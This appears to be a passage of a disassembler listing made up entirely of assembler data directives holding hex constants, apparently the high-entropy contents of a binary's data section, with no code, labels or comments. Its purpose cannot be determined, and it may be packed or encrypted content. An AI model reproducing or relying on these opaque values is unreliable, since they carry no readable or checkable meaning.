		dd 6D128B0Ah, 194BCDDh,	237D0010h, 0DBF36269h, 0E5510085h
		dd 0F90519B8h, 0AF0BD5E4h, 0A4542Ch, 8E17E941h,	10A5494Eh
		dd 4D4B6D00h, 0EA6C90F0h, 0AF92C700h, 71273FF7h, 0B4524877h
		dd 8C30ECh, 3BE1DC91h, 72E6AE82h, 0E2547EECh, 4C8494A8h
		dd 0E3808841h, 15FFF58Dh, 4446389Ah, 0BE61AA02h, 0DD31079Bh
		dd 61F3A910h, 441F5C00h, 709EA1FFh, 11192437h, 0B8E99440h
		dd 9000F123h, 0E43B9C27h, 7876860Bh, 7CAB0780h,	49A1002Ch
		dd 19913BB4h, 430086F6h, 0A48A7639h, 4C898DE0h,	60709048h
		dd 9B9459C0h, 0C4009EA6h, 0B788B2C5h, 2677D666h, 3AE0F710h
		dd 0C115E2A0h, 519835E9h, 76FF2070h, 1C50EE73h,	0D400CA0Ch
		dd 0ABBCC482h, 0FF2AE5h, 544E1E0Bh, 266EA4B2h, 7146FE12h
		dd 2DCE450h, 0ADF3F39h,	0C790618Ch, 9981C8C1h, 0FACFC95Fh
		dd 10DF60E2h, 0BF8C0B09h, 1F041883h, 7979C032h,	0AF848215h
		dd 0D6658600h, 0CF92BAF2h, 0A40A5017h, 0AD0A8CF6h, 0A03B712Ch
		dd 2583C26h, 502B0F44h,	31A1B148h, 803A1FAAh, 0F0F53869h
		dd 755CB8Eh, 0E1BB5A98h, 0C62EA062h, 6800A73Fh,	0B3F42049h
		dd 601F05D0h, 0FC07393Ch, 0BC00567Bh, 0F42CA925h, 1D8A735Fh
		dd 41FE058Dh, 0B5C15E89h, 0B3319CECh, 0F5FF3FC2h, 0AA68406Ah
		dd 0B2DE2844h, 0BF4A04C4h, 0C13DADFAh, 309459DFh, 8148C2BCh
		dd 93E30045h, 4521760Ah, 0A0EA1FC9h, 1CA983D7h,	4000BC30h
		dd 6FB6EF3Fh, 2D4B85Fh,	0E16B453Eh, 946326DAh, 0FA0B3D88h
		dd 0CAE8C007h, 6581E64Dh, 80244C27h, 0CCF200E9h, 0BF836DF7h
		dd 9C01DC41h, 518FACFDh, 2470A361h, 912A44E3h, 0FF1447B8h
		dd 37F0C105h, 0FB966EE7h, 0E4CC1840h, 6CB5F014h, 4C65D82Ch
		dd 64060828h, 18B85B02h, 13AC7FEAh, 5D6B3Dh, 2F48C244h
		dd 8C29F5B9h, 836220E5h, 0EEB43010h, 3F184248h,	0BDFB0462h
		dd 8481496Bh, 0DD917C2h, 0ABFB09Fh, 38A86D78h, 0BF1B230h
		dd 4604CDAEh, 0EC605D67h, 866546C0h, 2E50135h, 0FDB37A58h
		dd 0FFE08AC2h, 8C3C9482h, 0B0A1AF34h, 0F6D9EE89h, 1C9969h
		dd 1A5E6614h, 7D26516Dh, 0A02020B7h, 0EE30D602h, 13B9737h
		dd 20C11E94h, 24181760h, 3D505F83h, 0C5130778h,	50036116h
		dd 2BD06658h, 94F8DC00h, 0DBA06321h, 84E20095h,	0EB018F6Fh
		dd 6500AEDDh, 1AB6E85Eh, 3E5C54h, 0B53D4A50h, 0ED9E83F9h
		dd 41C27F18h, 0E004EA18h, 0F5F1004Fh, 2C4D2708h, 5572B16Ch
		dd 0FA3CE47Ch, 0B7710FD9h, 0D8FB00BBh, 7C1E9Dh,	863E5B36h
		dd 9A0104BEh, 69E0AD03h, 0E0519E7Dh, 633DD14Fh,	0EBB85021h
		dd 0A45E6800h, 0FF4C6D05h, 0FE600A85h, 3A26196h, 3E4DD6B1h
		dd 0D12D1800h, 5124CDA0h, 0D5413CAFh, 0BC2BC01Fh, 850EA148h
		dd 6E67F6A5h, 429BF004h, 0D9F2B6DFh, 0BDFE733Fh, 71013271h
		dd 804983Eh, 4FA7BFBh, 26AEC68Ah, 8214836Ch, 0A21CD876h
		dd 0D0800580h, 1C2F8515h, 0CD0905D1h, 7209754h,	0CC589C8Ch
		dd 41F8FD30h, 76B3C3Fh,	15628E53h, 0D35035F0h, 8B605C1h
		dd 49B35282h, 0E0C1728h, 0C0A13E19h, 0E7D9104Fh, 0A9906729h
		dd 60FFA522h, 6AC7B260h, 6CFC9E1Ch, 0CFD8A8F1h,	67C12D00h
		dd 9058A0F9h, 1AC87D00h, 6166C750h, 0D1C4186Bh,	84F879BFh
		dd 7C1F9E29h, 8D9960Ah,	63C3F94h, 6B9C1E4Ah, 0DF8480F1h
		dd 0D46C8989h, 40C0AF7Ch, 5880F56h, 481E503Ah, 0C30843CAh
		dd 633CDFCh, 0ADB29649h, 0A33D3963h, 0EC8D0FC0h, 5F6B80B6h
		dd 6FB75D5Ch, 6F02A92Eh, 1880D503h, 303A2360h, 0C50BD305h
		dd 50051D83h, 1C019556h, 0B6E57B4Ch, 52E92FD8h,	7706CC05h
		dd 1129F597h, 9E478B00h, 0D6043B24h, 7F6A3C57h,	8A8450h
		dd 0F064A3ECh, 0C4AF47D2h, 0F6856C07h, 6F8FC74Fh, 0F458FF83h
		dd 0F410F11h, 888757FDh, 6ED2480h, 2E6125EFh, 17058169h
		dd 862FC180h, 9DD332B2h, 0A00DB829h, 10EE7830h,	34D224ABh
		dd 28F98100h, 8CA572AEh, 0A188E199h, 2D8E0611h,	1087580Ch
		dd 0AA15FB15h, 35D61E84h, 0FD1F90C7h, 0D9C2FF0h, 69272D1h
		dd 0DBAB118Ah, 0B957612Eh, 8A8C840h, 0A650874Fh, 0C7583804h
		dd 975D018Ch, 171C9018h, 0EAC9E79Eh, 0A3C821DEh, 0D112226Dh
		dd 825D54A7h, 0BC84D760h, 0DF654372h, 0D3381807h, 9B4A08D6h
		dd 907C8A00h, 0AC05B4E3h, 29B0C71Fh, 0F32482D1h, 1EFE1068h
		dd 80880CA0h, 0A9BBCB44h, 198D7018h, 0A1718CE1h, 507F04A0h
		dd 0E92C1503h, 63F94EBh, 5A12043Fh, 0D0573820h,	46F62960h
		dd 0F240F1C1h, 44630616h, 210A7E0Bh, 2C006BE2h,	8B708833h
		dd 74C8B952h, 4BD0448Ah, 6E2FB40Fh, 0D4A1E053h,	22ABE592h
		dd 3F181E26h, 0D29999FCh, 95D500FEh, 506D123h, 18C7567Ch
		dd 983EC7Ah, 57290596h,	0D1074Dh, 802FB808h, 1909E288h
		dd 47F391Ah, 704489E8h,	0E004C9A8h, 0D80071D5h,	0F05BE7C1h
		dd 0A0FD3F51h, 0B9D9C540h, 979A8140h, 8083E9E1h, 9CA53049h
		dd 7620910h, 0AAD1ED7Ah, 21744670h, 9B61911Ch, 2342719Ch
		dd 0E8297FDEh, 62CCEA80h, 0F966782Dh, 2FE168C0h, 103A8A0h
		dd 148EB628h, 431F7E00h, 655D253Ch, 2DD11DEBh, 21691864h
		dd 43013710h, 17C54DACh, 0FAF18E12h, 1790A04Ch,	19CE564h
		dd 7E76C098h, 4FF98003h, 0F8143B86h, 0A8A602BCh, 9F8ECC15h
		dd 0AC528CA0h, 4100D86Ch, 25E1068Bh, 7E7985h, 4BF4D6FEh
		dd 0A90201F7h, 0B5685763h, 433900A3h, 361FC321h, 3700B28Bh
		dd 0B8DCAF9Fh, 3641DDEh, 87BB1516h, 0CCE54E2Ah,	20A089B4h
		dd 87000A3Bh, 46D8EE35h, 0FA90BC6Ch, 0F853044h,	3F48C4B9h
		dd 0F4EF5400h, 76B6CF9Ch, 22590B33h, 0D8983AA1h, 0C4A87CE1h
		dd 0F898B80Eh, 18AC33Fh, 0C410041Bh, 0C0705049h, 298660E8h
		dd 9936C1E6h, 85616F0Ch, 0E6CE7116h, 0E96D05CBh, 0C13DF7C3h
		dd 7075C130h, 0D770A3F0h, 0EA9B188h, 1B679D4Ah,	0A473B80h
		dd 9724CCA6h, 0C91C0089h, 817D1EDFh, 0C29E3652h, 0D4509329h
		dd 3E22F2BBh, 19009AE8h, 5351F14Fh, 0A2184D28h,	29A173B2h
		dd 85B8A8ACh, 0CFCE00B3h, 0C10F4C7Eh, 0E004530h, 8C9BFD32h
		dd 50C93905h, 4059ACE3h, 0D300A73Eh, 44BE9FD9h,	1541EAAh
		dd 313BA940h, 0BDAB29ECh, 0E7DD0059h, 0CD5E45AFh, 1F8800A2h
		dd 1BEF0D46h, 0FA244F4Bh, 474020B9h, 0B8E724h, 3716AB22h
		dd 0D128ECC8h, 68832C2Ch, 5344600Eh, 0F06A0C63h, 43B88834h
		dd 0DD228Ah, 0AB2FB378h, 34B1AABDh, 0D55B7104h,	0A0909266h
		dd 1CE20AC3h, 98BF7908h, 3D5ED985h, 0FF7C0400h,	18265D77h
		dd 89AE02ACh, 627B344Dh, 0C100804Eh, 0F82D83FEh, 6ED1062Ah
		dd 1E66F9A2h, 3F2651E7h, 1D4024FEh, 23C0A5Ah, 7FF3DC1Ch
		dd 54482C1Eh, 31C00CB9h, 0A3164A38h, 486101E3h,	0DFAD6EB3h
		dd 86642D8Bh, 0B031E4B8h, 8A5601BEh, 44CDFDFAh,	3D208339h
		dd 1A01A61h, 0EA5C7891h, 0C086E20Fh, 0F700549Dh, 1BC98812h
		dd 0AB0DBAh, 0E729813Fh, 7E93190Fh, 4C865726h, 5F137F40h
		dd 11709061h, 7C7C89A3h, 962CC44Ch, 0CDC6731Fh,	1680F445h
		dd 442CBEA2h, 0D07F2904h
		dd 0E8E938B4h, 7E311900h, 89F22F72h, 0B2E65Ah, 0C560D73Bh
		dd 0C21A7B99h, 8305D60h, 5428355Bh, 7E8AA0EFh, 0D66D013Dh
		dd 11840D02h, 5208981Ah, 0AEA0161h, 2BB1E6C2h, 138C82ACh
		dd 0F4800979h, 0EE2D36Ah, 4B58B00h, 0DEBD1B4h, 9DCC1210h
		dd 0D97019F5h, 4EE7D833h, 577A320Ah, 60EF64BFh,	23F43B24h
		dd 11140062h, 5BF15904h, 0C57C0FCAh, 0B9002176h, 0B34EDEF5h
		dd 54DDAB20h, 60E1D8D1h, 56B4697Bh, 0AC7803D5h,	0ED219500h
		dd 4883673Ah, 10413C6h,	90DC67B5h, 95250943h, 0E86F458Ch
		dd 150F433Dh, 60BDA86Dh, 0B1015C5Ah, 8184A82Dh,	26AD005Bh
		dd 0C86D3C7h, 0CB75E4D4h, 26D290Eh, 21E2BB5h, 2103D864h
		dd 0BC2D809Eh, 0C61F03F1h, 3F578F71h, 1E803411h, 85152381h
		dd 0A558112Bh, 0E6F4C8FCh, 606149FEh, 48A89AD8h, 0AFCCB5C5h
		dd 0D66A04E4h, 0B0FA06DCh, 7F30AEACh, 8F3C5824h, 9868540Ah
		dd 38A661B3h, 0B0E559h,	1E53D93Dh, 382C473h, 1CCDBB3h
		dd 0F3AF4904h, 0ACC02071h, 15C1A314h, 18DAA794h, 6F37FD00h
		dd 551D49F3h, 0C051EA30h, 1F5D355Ah, 4099E5D6h,	3DC65911h
		dd 581F8C85h, 7D813F86h, 5F30942Dh, 3FB3F060h, 8D80A2BDh
		dd 12C4D756h, 0A379314Fh, 78410618h, 0C476E80h,	0BBEFC548h
		dd 960A44B8h, 9CD3B154h, 1B035111h, 4C249B93h, 7D501107h
		dd 95812C23h, 0C061099Ch, 4CC1A002h, 4458040Ch,	627526A5h
		dd 11FCA020h, 50B84310h, 15C7D52Eh, 0A881E66Ch,	7C92B100h
		dd 0F3221C78h, 201A6600h, 271961B5h, 98AE07F5h,	50FB9471h
		dd 4B94E3Eh, 58345332h,	1704C4B5h, 95F3FFh, 85E1187Bh
		dd 0A7030E5Bh, 0A81AC125h, 7A89013Eh, 0E2128030h, 7179F0C3h
		dd 4FFE9300h, 30746C7h,	11FCB1A5h, 94F5009Fh, 0B24F8831h
		dd 276900DCh, 0DDDFFC47h, 23098FCEh, 9029FF1Ah,	7E7FC3B8h
		dd 2D475C77h, 11D4A1Eh,	3983AE09h, 0D937E180h, 0B711DC7Dh
		dd 7E0D1507h, 849AE968h, 981EBD80h, 6DC3CBh, 0A16348BBh
		dd 28EF01ECh, 249BD895h, 208D2438h, 0EAB900BCh,	2E763382h
		dd 7036562h, 0AF47FE05h, 202CE250h, 85481975h, 0DC01B67Dh
		dd 944D71E0h, 90E8C395h, 44D91D68h, 73DD49h, 0E2335A92h
		dd 1800CEECh, 1E72B69Ah, 0B214FAh, 3DB9BE7Eh, 24D546F5h
		dd 7D5CC600h, 843AEFAAh, 42860C30h, 523843C8h, 0FAC17600h
		dd 0F4BFD8A6h, 18F66378h, 0EEA00FE0h, 0C2EC8DDDh, 1E67DF3Eh
		dd 958372D8h, 9806B833h, 1EFC0E13h, 18ECE799h, 9C67383Dh
		dd 1C816601h, 7FA0E2BFh, 1533460h, 80627E9h, 209A9F6Dh
		dd 8360522Eh, 7B311830h, 431A0049h, 0EAB3969Dh,	88C0F335h
		dd 2DBB5746h, 48F659h, 97D30711h, 0B932BE6Dh, 0ADEF3000h
		dd 66F142FEh, 0DC0E30DFh, 0AC5B9650h, 47160F00h, 27FBB446h
		dd 0F55503EFh, 0F8C378FAh, 18683CA8h, 0CF693460h, 0EDA656h
		dd 6B02E862h, 4C06C9B3h, 3F6D6C00h, 0C14B7538h,	0EB290EF0h
		dd 7C838BE3h, 0C3CF8519h, 0C8158260h, 94C32Eh, 0A1A2A7CDh
		dd 1E36D35Ah, 8002D94Ch, 3C3051B2h, 8A0033CCh, 0AC6FF96Ah
		dd 1D96285Ah, 16E350h, 97229CE0h, 0C10636A0h, 0CB431365h
		dd 0C03E7C09h, 9DAF0220h, 18E0DBBBh, 448A5F00h,	0A77AE68Bh
		dd 92E6DDh, 0C7DA0188h,	0EE5AD46Dh, 9CDF7019h, 72184F68h
		dd 15DEA05Ch, 223414ADh, 0AA070066h, 0E85DDA9Dh, 46008C11h
		dd 2FA40BB5h, 620D105h,	9CB31437h, 0CDEE3042h, 0EE7B7C79h
		dd 930761DFh, 5AB3EAE9h, 4DE923D4h, 9A07001h, 197DC1h
		dd 9D48D540h, 22A2FA00h, 0A927F217h, 7B0B01AFh,	4A404104h
		dd 0C7CE2097h, 8D60B467h, 0B5646200h, 9C7606B0h, 0A1DFA73Bh
		dd 7F0C4000h, 20B96A68h, 815F06B3h, 21E3B06Fh, 80D5733Ch
		dd 93F3B216h, 0C0C5BA31h, 4CA68548h, 0E00639Ch,	1BDEACD9h
		dd 2CA8Ah, 3D83FDA9h, 0AB105F73h, 0BFEB4800h, 0B174DCA6h
		dd 4F580080h, 0DD51BA0Bh, 0B0FCDAEAh, 1100D87Eh, 78EB3368h
		dd 0FD0F7Eh, 0C7326490h, 4B493D40h, 19BDF907h, 0D01026C1h
		dd 36EB545h, 286D119Dh,	0A7C87268h, 0FC0E6193h,	8060C843h
		dd 42C9F9AEh, 0F5CB00E0h, 0AC25405Fh, 0DDF071D6h, 0D5A4B600h
		dd 0FBC02A89h, 1A58DF04h, 4176105h, 6B7C005Fh, 68ED5529h
		dd 0C9503Eh, 2AB67DEh, 13E9489Dh, 0B6B8C38h, 930011CFh
		dd 23C487ECh, 5DD8120Ch, 84052941h, 4207E222h, 8E3C08E3h
		dd 39210811h, 88175088h, 388F04Fh, 843D909Ch, 0AB48636Ah
		dd 99200944h, 0FA808F2Ah, 0C5B60406h, 44EF57ECh, 354A7AA9h
		dd 78F0C28h, 0BE443329h, 3817FBEEh, 2401B842h, 131A211Fh
		dd 7907AD13h, 0AE6A2103h, 81CA3270h, 0AFD100FBh, 1E09C7ACh
		dd 0B507A358h, 66F74354h, 0FC053C50h, 3F1B0017h, 0E9FDC08Bh
		dd 940045C2h, 0F2DC4C2Ch, 3B4F0CE1h, 2B008066h,	60B9FCA1h
		dd 613C7BA0h, 67598F39h, 271480B1h, 3C320C9Bh, 0A880E3AEh
		dd 2A52B5A9h, 0DB0077BEh, 1BA35F7Eh, 3DA739CBh,	298362Fh
		dd 623BDCCFh, 604D6800h, 25495C3Dh, 0D85E0FCDh,	3208E37h
		dd 657B7A74h, 0A503900h, 0D56B7D61h, 99A20B5Fh,	0C80B70Ch
		dd 483820D0h, 0B3079A70h, 0AA188A40h, 8CB49D90h, 0D1D3038Eh
		dd 8510AE2Ah, 293FF0B7h, 0C900A675h, 0B627396h,	90A0DBh
		dd 0E2B080D4h, 0D50E70CDh, 9C00B8EEh, 5916A76Ah, 15E84CEh
		dd 0D647392Ah, 6089B78Bh, 3F00103Eh, 0C3C8E794h, 1F89EE4h
		dd 96A3AA78h, 244DD23Dh, 0B6027B70h, 8D8F172Eh,	3698A1E8h
		dd 0C630A202h, 6975F4h,	65DB3321h, 0C85D712Eh, 0D7206D00h
		dd 0B60852AFh, 95E02Ch,	0B2A79FC5h, 8F7A47B0h, 0D921911Eh
		dd 73402037h, 858346h, 19D8C28Eh, 50C11E88h, 9528B101h
		dd 63AB9B0Fh, 0E5D3CCCh, 6AE9F585h, 0C4487D2Dh,	1480B306h
		dd 0C4E409A6h, 7028895h, 8280346Dh, 0BB3F0D1Dh,	200089E8h
		dd 8FEA522h, 78D0ADh, 8AE5AA87h, 0DD4A9364h, 73B4A100h
		dd 0E97D01BEh, 2A61385Ah, 0E16E7480h, 224752C3h, 1B00B4EAh
		dd 0E892C6B7h, 0EAEF162h, 99FA3A1Eh, 8FFB080h, 96E86DBAh
		dd 0DE09CDA0h, 4E953400h, 4B9262Eh, 0C2B800E0h,	0BE10FE0Ah
		dd 0CD00583Fh, 32CCED7Bh, 7B6C2521h, 6E601F8h, 2A666015h
		dd 417FCC4Eh, 9D827703h, 0E0572E52h, 78BE23A6h,	73763DFEh
		dd 0D8CF8D81h, 0F8EFE4FCh, 1800FADAh, 2BAB9AA4h, 4E3319h
		dd 182656Ch, 40B0A30Fh,	8094393Dh, 0D2EA30BFh, 0AB8CFDh
		dd 3AC07BE4h, 0F5BECDDAh, 0D9D8C700h, 4A687290h, 2DE29Bh
		dd 6BFB079h, 1CB8F6B9h,	0DB62BD01h, 6912D2D7h, 86E0A840h
		dd 0B2130076h, 0E616D4C7h, 0C03B9545h, 0A26000AFh, 4DF51D29h
		dd 1FC27CFCh, 41E1A972h, 0C44526BCh, 0F0DCF8DBh, 0CB5AA800h
		dd 0D34CBFE8h, 0F327008Fh, 70B7631Ch, 65006F3Fh, 0BD7693A0h
		dd 0F001E161h, 0A81F077Ah, 406CE478h, 1C1377E9h, 7FE0D000h
		dd 0DEB090ECh, 0CED300B2h, 2EE66E1Fh, 5FFE9C6Ch, 127DA800h
		dd 607154EFh, 0BA620015h, 38B5290Ch, 9A079805h,	0BC83B1AAh
		dd 90FA2CF0h, 0A48903D1h, 0AEBA39F5h, 9C15FEF0h, 5B3A2892h
		dd 870F8082h, 2639C623h, 90C200AFh, 557C2E12h, 7D032CEAh
		dd 0BC9728BFh, 0BAC4A853h, 0A96907DBh, 3022F9F5h, 85EEC861h
		dd 34328F00h, 0B0877366h, 76E60021h, 0CBFF405Ch, 0EA009A2Eh
		dd 3E5E5D92h, 0C0EE22h,	88797BE6h, 545501D1h, 64752C00h
		dd 0EE969082h, 0A3373A1Ch
		dd 6D1D6800h, 0AC36801Fh, 8147C300h, 0ABB4D046h, 37EA002Dh
		dd 22CA9F27h, 8B3C0330h, 91808062h, 347C36ECh, 0A93B038Dh
		dd 9687388Eh, 0E7F094F0h, 9F513Fh, 4877D4D8h, 3FDB7C56h
		dd 0FEB92784h, 85554D80h, 0F8D43874h, 5AE80701h, 9F11F6E1h
		dd 0D93DD0h, 0B189B29Dh, 868E7317h, 0A5ACD800h,	155E0913h
		dd 28B00094h, 326351E0h, 9704D9BDh, 2A72E587h, 0F00E7C83h
		dd 1EB1D7h, 5C5EAB2h, 6143D12Eh, 2FB8FB00h, 71173DD4h
		dd 0F65800D7h, 0BA4AA2FFh, 0BB017A37h, 0B5E98D31h, 89EC6DD8h
		dd 0A94E077Bh, 70EB6F2Ah, 0DC0449D7h, 44960207h, 46601795h
		dd 763997h, 30DECF85h, 0E3BAC83Ch, 8C459605h, 81BEF298h
		dd 0D49C33B4h, 3798E6F3h, 3D7BA800h, 575A611Bh,	77C13h
		dd 85AE914Eh, 0E9D7B576h, 8E0F3F38h, 0E09C2D0Dh, 8F6346BDh
		dd 6F5200E2h, 4884F422h, 47003BF2h, 82E4A108h, 498372h
		dd 0CF1A0137h, 42449052h, 2A54BA01h, 0E8870A4Dh, 0F038DCh
		dd 7B3495EFh, 32B4086Ah, 0CB97300h, 1834CA3h, 0BA170070h
		dd 18305276h, 4F035AB5h, 316AEA7Fh, 0BB7DC8AEh,	8767032Dh
		dd 2B437812h, 0D6A038DBh, 8200549Fh, 9E83790Dh,	336A8Ah
		dd 26C1662Eh, 0A230815Bh, 0CD149100h, 0BD5A0978h, 7ECE0083h
		dd 685FF9Bh, 3B00B4D2h,	5E67AC30h, 0FB9162Eh, 0FEC563E5h
		dd 1DC21920h, 0D601642Ah, 94AF201Eh, 0DC407CCBh, 0BFF669h
		dd 6056C9DEh, 81442A37h, 3D991348h, 0B4500043h,	309067E5h
		dd 0C2FA0083h, 0DEAD247Bh, 6C00EF9Bh, 5828FCC8h, 2477B2D2h
		dd 20034EB9h, 907EDCh, 841CB085h, 214AA5B4h, 6B2BCCC0h
		dd 7514289Dh, 230D0368h, 6AEBF61Ch, 7910C798h, 8737DC00h
		dd 714DF4DBh, 546100FCh, 2C32D02Eh, 39ECB8D8h, 0F70C8A00h
		dd 562D78AFh, 0B0235873h, 0F96CD200h, 19A3E51Bh, 5AA538h
		dd 4F34E60Dh, 0E12B90h,	73C12664h, 90E24FFh, 4563903h
		dd 0A083203Fh, 2457235Ah, 45ADA4h, 0AB38B4EDh, 1D07B84Dh
		dd 0C740C070h, 0E00AF701h, 0A5EC37C5h, 7ED30519h, 801A56EEh
		dd 516BB21Eh, 1CB83F3Eh, 68415ED9h, 0B7F0FA50h,	0ED8BF0h
		dd 19A04461h, 0EE6C7D69h, 0C210FB24h, 4192A503h, 2338A090h
		dd 481300C1h, 4C8FD1E2h, 687F3A36h, 0B26027F4h,	84376610h
		dd 0FF4838C0h, 5840C300h, 0E193D7B9h, 0B700977Eh, 0AD537195h
		dd 0EE6DDCF7h, 0FD3C3884h, 0EB286700h, 831DA64Fh, 8BBDAD03h
		dd 0F8165B0Fh, 927B0Bh,	0F31F3DD2h, 59B5E762h, 0B9E54700h
		dd 0F9C3C99h, 0C0EC00ACh, 0C76CBF4Dh, 0B00BCABh, 99571FEEh
		dd 9052038h, 802CDA60h,	17F3B283h, 612A880h, 40ECA000h
		dd 0DF36A491h, 0C6CF0089h, 0ABC37A18h, 1918C1E7h, 9E218FFFh
		dd 1B7E004Bh, 7609FC5Eh, 0C9059BA7h, 494BCD8h, 33ECD080h
		dd 0EA4F7B67h, 238D28E7h, 913600B0h, 254D62D1h,	5B0008FCh
		dd 0E1AD4953h, 9BFFCAh,	1C379841h, 0C6E3508Dh, 8820BD00h
		dd 285DBF24h, 77CF6E2h,	9E44F626h, 668730D8h, 9D00A8F7h
		dd 0BA4E3780h, 0B55985h, 0AA2DCF60h, 3F25E3B4h,	27E1541Dh
		dd 1D01AD47h, 7DE0402Fh, 0C0095Bh, 8DEF74B2h, 6EC768ACh
		dd 7F3AC601h, 0E558CFE6h, 7D9D95CCh, 872900C4h,	0AF39912Ah
		dd 0B600C0CBh, 169663B8h, 38AAE5h, 29BDF42Fh, 0B4385D3h
		dd 56971A00h, 7D23FBECh, 2F5C004Dh, 0A88C2072h,	0F01CF11h
		dd 0AD71D6EDh, 4C20E8C9h, 88E73943h, 0D4006CC8h, 0EBA7C489h
		dd 0B5002068h, 0F84B99F2h, 0F43C9EB8h, 28340038h, 0C27C5C9Dh
		dd 0F10231A3h, 6078068Eh, 959C8064h, 92FCF1Ch, 835061A7h
		dd 0C037CC04h, 0B6E2808Fh, 0B27AF000h, 97BC5D01h, 4FB32E14h
		dd 708E18D1h, 0A400631Eh, 8D3EC662h, 0C0536A06h, 490E8359h
		dd 0E3003BA9h, 4DD8CD0Ch, 3E0A96h, 3C4ACBFEh, 0DF13F163h
		dd 0EFD67700h, 55A42FBh, 78EE006Dh, 0C5BBC914h,	0A0090E57h
		dd 15432E2h, 798A5C23h,	1E705CCh, 1DBDB57Dh, 0D002367Fh
		dd 0E003493Dh, 0BF5C0B89h, 5A7788E6h, 8C7800C4h, 8FC522FFh
		dd 823E06A2h, 0A8C330A7h, 0D5E97Bh, 744690E0h, 0B8E4B693h
		dd 0D1E30900h, 0A8CA2ACFh, 89BE00EEh, 7D4D0E84h, 0A2052F0Bh
		dd 0ADC51E98h, 0A52A96C0h, 3B9B016Eh, 4FF6DBFCh, 0CC67208Dh
		dd 0EEB0B300h, 2D02B7A7h, 7A1C7C32h, 0C866075Bh, 33D09A38h
		dd 0F800E448h, 9014D2B1h, 165E368h, 1D157ACFh, 0C03799D3h
		dd 7D007252h, 0D0CDB34Bh, 175A59Fh, 8581E6Eh, 0FCA069EDh
		dd 4E2CF06Dh, 0E70FCCEAh, 52F5C045h, 0C8F343h, 18F48E0Ah
		dd 0C01A398Bh, 653CBF00h, 0F04F0838h, 89BC0072h, 68B03FD9h
		dd 3A98B77Ah, 0B5E46F50h, 0A5F80F60h, 35E744h, 5BA7C716h
		dd 0A84F5DF7h, 0F49CA906h, 3A180C2Ch, 89921738h, 7C910065h
		dd 61454AECh, 0FC3EC309h, 57A8000Dh, 1EB831Bh, 0FE4CDB93h
		dd 80B2ADC7h, 0D37AC9C1h, 0D29076h, 0BCE70AECh,	0B452F74Ah
		dd 0CFF9B900h, 76D92E66h, 988CF257h, 0C0A80046h, 0E5331CEFh
		dd 7C0A0FA2h, 0F0F99E72h, 65D58B02h, 4A1C0B0h, 94800023h
		dd 0EBB29708h, 0DA0005DFh, 9A1CF1FBh, 7D1EF4h, 1230D40Fh
		dd 7495BB5Bh, 0FAD39C00h, 0CBCAB8D5h, 0CE2B148Ch, 0D704F04Eh
		dd 0EB7431Ch, 20AF4942h, 2674EF60h, 5CDCE986h, 5309AF9h
		dd 8DE837A8h, 0AB67C00Ch, 750342B7h, 411DA27Bh,	2DE3C0E2h
		dd 94010099h, 4049AC37h, 9FF48CC9h, 683F21F0h, 78308084h
		dd 0EB34F989h, 76D3E6D1h, 94D531BAh, 0D882B139h, 0B2008650h
		dd 0D99EECC5h, 0E8A08E5h, 0C4A49303h, 68838B20h, 0D492FE69h
		dd 9BAA8000h, 0EF379E7Ch, 49CF0110h, 0A91BEB46h, 4040CA11h
		dd 510059F8h, 5CC73870h, 3D58EBEh, 159C50ADh, 80B4CF0Ch
		dd 3ED89620h, 0CCA62628h, 0EAEAF0ECh, 0FEBA1500h, 635A975h
		dd 69AA009Ch, 1F5AD4AFh, 0D275EE0Fh, 8DA34003h,	120BB5Ch
		dd 82934EF4h, 30B2B54Dh, 0AF070B8Eh, 0F5E7502Ch, 144FA340h
		dd 7E63DCAh, 0D8FD0580h, 0B9C8F80Eh, 0D33FC000h, 0ED035841h
		dd 4350068h, 91385618h,	3A2EEAF5h, 3D8B1Bh, 0E3F2CDE0h
		dd 7755FEh, 0E86EEB95h,	0B1985AFBh, 86AEF000h, 111A9E74h
		dd 0BBC5008Eh, 0A43FA1FEh, 317885DAh, 532A3900h, 1269D52Dh
		dd 4F4D006Dh, 0C7784B1Dh, 0DD0077C3h, 61FF0CFBh, 39F5853h
		dd 4464D43Eh, 27D92932h, 0D0DAD838h, 3DBD8500h,	0F6C0CFC1h
		dd 55CD1CABh, 0B62D4033h, 88717220h, 0CAAAB700h, 0EDA55B97h
		dd 0E46A0017h, 4BF4E719h, 0D8003FAFh, 8623A820h, 1ED2F8Fh
		dd 97491847h, 0C44D749Dh, 30F84632h, 4FD1BC1Dh,	65FAF100h
		dd 1EB80C53h, 1E8479CEh, 0C88741A9h, 0F42FD36Eh, 0F800A8EAh
		dd 2E326A92h, 3369A6Bh,	287A1DE0h, 8FD03B19h, 30EAA23Dh
		dd 11342600h, 0F99531EFh, 9A51004Eh, 66CE5EB2h,	0EB009774h
		dd 0B1B7D0Dh, 1F830E27h, 0BE2D08D8h, 7B9A7C80h,	0D247B058h
		dd 96BCE00h, 380A71E6h,	77430F7Fh, 6A67010Dh, 119F124Fh
		dd 0B4DE080h, 13ECF786h, 8F563E3Fh, 7DCDE817h, 9CCB6F0Ah
		dd 8A95EF00h, 0F073C7Eh, 0C4C8A558h, 0B714BE80h, 280072D3h
		dd 90A69B1Bh, 0A03357h,	0D1AABCD4h, 5EFEC5D0h, 0A4CA3428h
		dd 9AFCCE10h, 16001458h, 91EC7ED8h, 8900E83Dh, 426BEFD7h
		dd 61A9FCh, 0C722D086h,	579172AFh, 99DCD900h, 0F3DB5562h
		dd 363D1804h, 493BC84Dh, 0B42CB900h, 0A1ED5C91h, 19EE00F6h
		dd 53D7E6CBh, 0A90010F2h
		dd 0CC76C8B1h, 6B8CAFh,	90635A0Dh, 0F2A80673h, 547FCE72h
		dd 0E507400h, 2C86D787h, 45272815h, 0C4F948ACh,	14181F00h
		dd 60720CAFh, 4B284EE4h, 0B207F2A3h, 0D617255Ah, 60978172h
		dd 3ADDF8E3h, 5804C69h,	7AE2FB5Ch, 3B00D1C2h, 0BF5FAED5h
		dd 0FE3FCD46h, 9F4E001Dh, 761BFC74h, 0C5009C53h, 593DB34Ah
		dd 309972Dh, 128BE4B1h,	0D392C4E6h, 2560F0E2h, 90E206A1h
		dd 0BE9BFE1Ch, 0DB132681h, 3CD4F195h, 3A6E2420h, 729200D8h
		dd 643F731Ah, 6900EF79h, 8D71047Ch, 226521Dh, 738B6AE5h
		dd 8CE001C1h, 0FD000B05h, 0E6C74DFBh, 1ED57720h, 0C3D976B7h
		dd 0B54AC9E8h, 70C68BD8h, 91A890A3h, 5A01C795h,	96EFC4B9h
		dd 0D0407A60h, 359F011h, 0E7E86880h, 0CCA0FA27h, 2C017F6Bh
		dd 0EBD30EAAh, 66804909h, 0C0BC1D9h, 841C9BADh,	0D3C9F9E9h
